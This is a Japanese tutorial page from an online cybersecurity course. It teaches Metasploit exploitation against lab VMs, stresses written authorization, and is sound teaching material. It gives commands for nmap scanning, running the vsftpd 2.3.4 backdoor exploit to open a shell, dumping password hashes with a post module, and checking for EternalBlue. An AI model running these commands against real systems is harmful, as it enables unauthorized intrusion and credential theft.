0Pricing
Cyber Security Academy · レッスン

既知の脆弱性の悪用

ラボ環境で脆弱なターゲットに対してexploit moduleを使い、セッションの出力を読み取ります。

「既知の脆弱性の悪用」はCoddyKit上の無料Cyber Security Academyレッスンです。 これはレッスン2/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはCyber Security Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Cyber Security Academyコースには全4レッスンが含まれています。

倫理と認可を最優先にする

エクスプロイトを実行できるのは、自分が所有するシステム、またはテストについて明示的な書面による認可を得たシステムに限られます。ここで示す例はすべて、認可されたラボ環境を対象としています。無許可のエクスプロイトは犯罪です。

ラボ環境の推奨設定

合法的な練習には、意図的に脆弱性を持たせたVMを使用します。Metasploitable2/3、DVWA、VulnHubのマシン、またはHackTheBox/TryHackMeなどが利用できます。署名済みのスコープ文書がない限り、本番システムや実環境のシステムを決してテストしないでください。

# Download Metasploitable2
# https://sourceforge.net/projects/metasploitable/

# Or use VulnHub
# https://www.vulnhub.com/

# Network: host-only adapter (isolated)

エクスプロイト前の偵察

エクスプロイトの前には、必ず列挙を行います。エクスプロイトを選択する前に、正確なサービスのバージョン、OS、実行環境を把握します。バージョンを誤ると、エクスプロイトに失敗したり、システムがクラッシュしたりします。

sudo nmap -sV -O 192.168.1.100

# Identify:
# - OS version
# - Service + exact version
# - Open ports
# Then search Metasploit for matching exploit

適切なエクスプロイトの選択

サービス名とバージョンで検索します。ランクがExcellentまたはGreatのモジュールを優先します。infoを読み、対象プラットフォームとバージョン範囲が一致していることを確認します。

msf6 > search vsftpd 2.3.4
# exploit/unix/ftp/vsftpd_234_backdoor
# Rank: Excellent

msf6 > info exploit/unix/ftp/vsftpd_234_backdoor

エクスプロイトの設定と実行

RHOSTS(リモート対象)、LHOST(リバース接続に使用する自分のIPアドレス)、LPORT(リスニングポート)を設定し、ペイロードを選択してから実行します。セッションが作成されたか、エラーメッセージが表示されていないかを確認します。

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set payload cmd/unix/interact
msf6 > run

# [*] Command shell session 1 opened

結果の解釈

エクスプロイトに成功すると、セッションが開きます。失敗した場合はエラーメッセージが表示されます。connection refusedはポートが開いていないこと、exploit failedはバージョンが正しくないこと、no session createdはペイロードのコールバック接続に失敗したことを示します。

# Success:
[*] Started reverse TCP handler
[*] Command shell session 1 opened

# Failure:
[-] Exploit aborted: Bad return value from check
[-] Exploit failed: No session was created

セッションの操作

エクスプロイト後は、sessions -i を使用してセッションを操作します。基本的なコマンドシェルセッションではターミナルを使用でき、Meterpreterセッションでは高機能なAPIを利用できます。

msf6 > sessions          # list all sessions
msf6 > sessions -i 1     # interact with session 1

# Once inside:
id
whoami
ifconfig
uname -a

セッションのバックグラウンド実行と複数管理

Ctrl+Zを押すとセッションをバックグラウンドに移行して、msfconsoleに戻れます。これにより、複数のセッションを管理したり、特定のセッションに対してポストエクスプロイトモジュールを実行したりできます。

# Background active session
Ctrl+Z

# List sessions
msf6 > sessions

# Run post module against session 1
msf6 > use post/linux/gather/hashdump
msf6 > set SESSION 1
msf6 > run

Checkコマンド

多くのエクスプロイトモジュールには、実際にエクスプロイトを実行せずに対象が脆弱かどうかをテストするcheckコマンドが実装されています。利用できる場合は、必ず最初にcheckを実行します。

msf6 exploit(ms17_010_eternalblue) > check

# [+] 192.168.1.100:445 - The target is vulnerable.
# Or:
# [-] 192.168.1.100:445 - The target is not vulnerable.

エクスプロイトの信頼性に関する考慮事項

エクスプロイトによって、サービスがクラッシュしたり、アラートが発生したり、ログが残ったりする可能性があります。本番環境のアセスメントでは、トラフィックの少ない時間帯に実行し、ロールバック計画を用意し、破壊的な操作を行う前にバックアップが存在することを確認します。

エクスプロイトの文書化

タイムスタンプ、対象のIPアドレスとポート、使用したエクスプロイトモジュール、CVE番号、使用したペイロード、取得したセッション、証拠(スクリーンショットまたはターミナル出力)を記録します。これが、レポートで脆弱性を示す証拠になります。

確認問題

Metasploitの「check」コマンドは何をしますか。

まとめ:脆弱性のエクスプロイト

倫理的なエクスプロイトは、明確な流れに従います。書面による認可を得て、慎重に列挙し、対象に合ったエクスプロイトを選択し、モジュール情報を読み、利用できる場合は最初にcheckを実行してから、実行結果をすべて文書化します。認可なしに決してエクスプロイトを実行しないでください。技術的なスキルと倫理的な境界は切り離せません。

よくある質問

「既知の脆弱性の悪用」レッスンは無料ですか?

はい。「既知の脆弱性の悪用」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Cyber Security Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Cyber Security Academyコースには全4レッスンが含まれています。

「既知の脆弱性の悪用」で何を学びますか?

ラボ環境で脆弱なターゲットに対してexploit moduleを使い、セッションの出力を読み取ります。 ブラウザで直接実行するハンズオンコードでCyber Security Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Cyber Security Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのCyber Security Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン2/4です。

「既知の脆弱性の悪用」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このCyber Security Academyレッスンでコードを書いて実行できますか?

はい。すべてのCyber Security Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. Metasploitのアーキテクチャとmsfconsole
  2. 既知の脆弱性の悪用
  3. Payload:stagedとstageless、Meterpreter
  4. 侵入後の操作:PivotとPersist
← Cyber Security Academyに戻る